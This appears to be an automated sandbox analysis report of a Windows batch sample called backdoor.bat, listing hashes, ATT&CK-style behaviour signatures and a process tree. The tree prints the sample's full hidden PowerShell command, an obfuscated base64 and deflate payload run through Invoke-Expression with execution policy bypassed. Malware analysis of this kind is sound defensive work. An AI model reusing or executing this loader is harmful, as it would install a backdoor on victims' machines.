Analysis
-
max time kernel
97s -
max time network
125s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
09/11/2024, 20:32
Static task
static1
Behavioral task
behavioral1
Sample
backdoor.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
backdoor.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
backdoor.bat
Resource
win10ltsc2021-20241023-en
General
-
Target
backdoor.bat
-
Size
2KB
-
MD5
65b01774b98f22832ad87363295dfe55
-
SHA1
d20b626ccff0bf9341a6ebe2b94ef610bc54ef47
-
SHA256
dc880c0a9e06cbdb8e2b7b1a366be244d130e0e84645afbdd619b36fdfca1613
-
SHA512
acca3c54ce2a3fa531997034d46b2651af15574ef71661e8bec194635a0d34bf0aa00879fdb2aaaf8c81d9f23bb1ed310863c2561b375e0a1c8a89ab4edb22bc
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4188 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4188 powershell.exe 4188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4188 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4612 wrote to memory of 4188 4612 cmd.exe 82 PID 4612 wrote to memory of 4188 4612 cmd.exe 82 PID 4612 wrote to memory of 4188 4612 cmd.exe 82
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4188
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82